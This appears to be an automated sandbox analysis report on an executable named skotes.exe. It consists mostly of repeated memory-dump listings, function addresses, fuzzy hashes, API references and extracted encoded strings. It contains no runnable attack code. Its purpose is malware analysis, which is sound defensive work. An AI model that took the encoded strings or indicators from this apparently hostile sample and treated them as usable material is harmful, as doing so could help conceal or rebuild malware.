Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: list too long$rajF
API String ID: 0-1413547724
Opcode ID: b8e2d9a4b21cd23d88d1bfbc0bb4fd046789224e6526fb092741d86d79edc08b
Instruction ID: 4cac52a7adb0bfb542f08abfd4c235cb28f32daf19de0ae3788dd2fe8edab5c7
Opcode Fuzzy Hash: b8e2d9a4b21cd23d88d1bfbc0bb4fd046789224e6526fb092741d86d79edc08b
Instruction Fuzzy Hash: 1F61B5B0D047149BDB24DF64CD85B99F7B4FF14700F1045A9E80DA7281EBB0AA81CF91

Function 001032D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00103344
__Mtx_unlock.LIBCPMT ref: 001033DF

Strings

rajF, xrefs: 001032E4, 00103393

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: rajF
API String ID: 1418687624-2848616852
Opcode ID: 60e079163483dceaefcf055322f35c5a7c5ef1ca8e041df0522df7f28919f363
Instruction ID: 6d78492f705cb856b6c07f39759b89692897d408987890d35cd58b5aec7a749f
Opcode Fuzzy Hash: 60e079163483dceaefcf055322f35c5a7c5ef1ca8e041df0522df7f28919f363
Instruction Fuzzy Hash: A5415771A04604EBCB249B9A9906B9FB7ECEF65720F00413AF815D7681EBB09A44C6E1

Function 00102900 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 001029DF

Strings

rajF, xrefs: 001029C4
rajF, xrefs: 00102915

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: rajF$rajF
API String ID: 2659868963-1846903374
Opcode ID: 2a2adf1836707881e961f1b1d59437c1fbe448dd73e375d2f4787506d7a82a77
Instruction ID: d395ad5e65cb8a955a4ba770ecf02b150617daa528ff9bcdcbaaad0ff1b5ae33
Opcode Fuzzy Hash: 2a2adf1836707881e961f1b1d59437c1fbe448dd73e375d2f4787506d7a82a77
Instruction Fuzzy Hash: 5C31C571A10209AFC705DF98C944B9EFBF9FF49720F14861AF814A7780E7B1A954CBA0

Function 00102B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00102B63

Strings

This function cannot be called on a default constructed task, xrefs: 00102B43
rajF, xrefs: 00102B36

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: This function cannot be called on a default constructed task$rajF
API String ID: 2659868963-3371772204
Opcode ID: de3cdbc4982b2adcb269ae6b4ee584ff12669b37f8f1c2bac6d312184a76842e
Instruction ID: 188e34a9c8934338a767774b7e3faf460be03ce8e16b05f864710d8ac35fd159
Opcode Fuzzy Hash: de3cdbc4982b2adcb269ae6b4ee584ff12669b37f8f1c2bac6d312184a76842e
Instruction Fuzzy Hash: 67F08271D10208ABC715DFA8994159EBBE9AF15301F1042AEF8507B200EBB01A588B95

Analysis Process: skotes.exePID: 7588, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	759
Total number of Limit Nodes:	51

Executed Functions

Function 0010E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GnNoc2Hc, xrefs: 0010E56C
WTs=, xrefs: 001105CA
246122658369, xrefs: 0010F737, 0010FA14, 001105E7, 0011099A
9c9aa5, xrefs: 0010FB8E
UA==, xrefs: 0010EB0F, 0010ED56
#, xrefs: 00110624
WTw=, xrefs: 0011097D
MQ==, xrefs: 0010E592
MGE+, xrefs: 0010E821
111, xrefs: 0010F7A0
WDw=, xrefs: 0010F71D, 0010F9FA

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: de0c41a3b36b1626e9dde84720691f9e33fd672ba720d7ba4538cf84e45b10a7
Instruction ID: a74602730e8e33f203ae724dba3c82e58c853590f1ab3763e9b825665c0c11d0
Opcode Fuzzy Hash: de0c41a3b36b1626e9dde84720691f9e33fd672ba720d7ba4538cf84e45b10a7
Instruction Fuzzy Hash: 90820570904288DBEF19DF68C9597DE7FB2AF16304F508598E845273C2C7B59A88CBD2

Function 001065E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00106680

Strings

RySfdMLx, xrefs: 0010669C
ISNmfV==, xrefs: 001067D1
GSTmfV==, xrefs: 00106728

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
